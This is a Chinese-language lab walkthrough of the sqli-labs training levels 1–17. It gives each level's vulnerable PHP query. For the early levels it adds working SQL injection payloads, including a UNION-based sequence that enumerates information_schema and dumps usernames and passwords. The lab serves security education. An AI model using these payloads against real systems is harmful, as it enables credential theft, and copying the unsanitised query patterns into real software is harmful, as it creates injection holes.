win10下burpsuite抓包设置
sqli-labs闯关游戏
本实验环境下的版本
安装最新版的phpstudy会导致很多问题,比如自带的mysql-front会报错
还有就是sqli装好的实验环境有问题
phpStudySetup.zip
sqli.zip
第01关
只有id,没有密码,只要对应上id就可以查看密码。
破解:在不论输入什么id都可以查看密码
方法:构造闭合语句: 1’ or 1=1 — 1 或者 1’ or 1=1 #(会报错,测试可知#号被替换了)
777’ or 1=1 — 6665
$id=$_GET['id'];
"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第02关
没有引号
破解:同第01关
方法:同第01关
777 or 1=1 — 6665
$id=$_GET['id'];
"SELECT * FROM users WHERE id=$id LIMIT 0,1";
第03关
有括号、有引号
破解:同第01关
方法:同第01关
777’) or 1=1 — 6665
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
第04关
有括号、有引号
破解:同第01关
方法:同第01关
777”) or 1=1 — 6665
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
php里面 $id = ‘“‘.$id.’”‘; 对传入的id值这样处理是什么意思?
php里面.是用来连接的,你的原句是$id=’ “ ‘.$id.’ “ ‘; 这个意思是把$id变成”$id”。
即:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
第05关
以上5关都是id在数据库里则打印出id对应的账号和密码,这题只打印出“You are in………..”
破解:同第01关
方法:777’ or 1=1 — 6665
继续添加语句查出数据库中的信息:
① 获取当前查询的列数(有了列数,联合查询获取信息更方便) Payload: 1’ or 1=1 union select 1 – 1 (注意,杠杠后面加空格) Payload: 1’ or 1=1 union select 1,2— 1 Payload: 1’ or 1=1 union select 1,2,3— 1 查询到第三条,不报错,所以列数就是 3
为了能查询数据,需要将前表的数据查询结果屏蔽掉,让后表的查询内容显示在界面上,所以 修改 payload: -1’ union select 1,2,3 — 1
② 获取数据库名 Payload: -1’ union select 1,database(),version()— 1
③ 获取表名 前表是 3 列,所以联合查询也是 3 列,使用 mysql 内置数据库 information_schema 获取表名 由于每次只能获取到一条记录的信息所以需要加上limit限定符,一行一行获取,直到第3条记 录时是 users 表. Payload: -1’ union select 1,TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=’security’ limit 3,1 — 1
④ 获取列名 获取列名和前面的原理一致,不过要注意一下,由于表名 users 太普通太大众化,其他数据库中 也可以存在这个表,所以查询列名时,判断条件既得判断表名还得判断数据库名
Payload: -1’ union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=’users’ and TABLE_SCHEMA=’security’ limit 1,1— 1
Payload: -1’ union select 1,COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=’users’ and TABLE_SCHEMA=’security’ limit 2,1— 1
⑤ 获取表信息 Payload: -1’ union select 1,username,password from security.users limit 0,1— 1
获取第二条数据,依次类推
$id=$_GET['id'];
"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第06关
这题只打印出“You are in………..”
破解:同第01关
方法:777” or 1=1 — 6665
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这两条语句相当于:
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
第07关
$id=$_GET['id'];
"SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
第08关
$id=$_GET['id'];
"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第09关
$id=$_GET['id'];
"SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第10关
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
第11关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
第12关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
"SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
第13关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
"SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
第14关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
"SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
第15关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
第16关
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
"SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
第17关
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
"SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";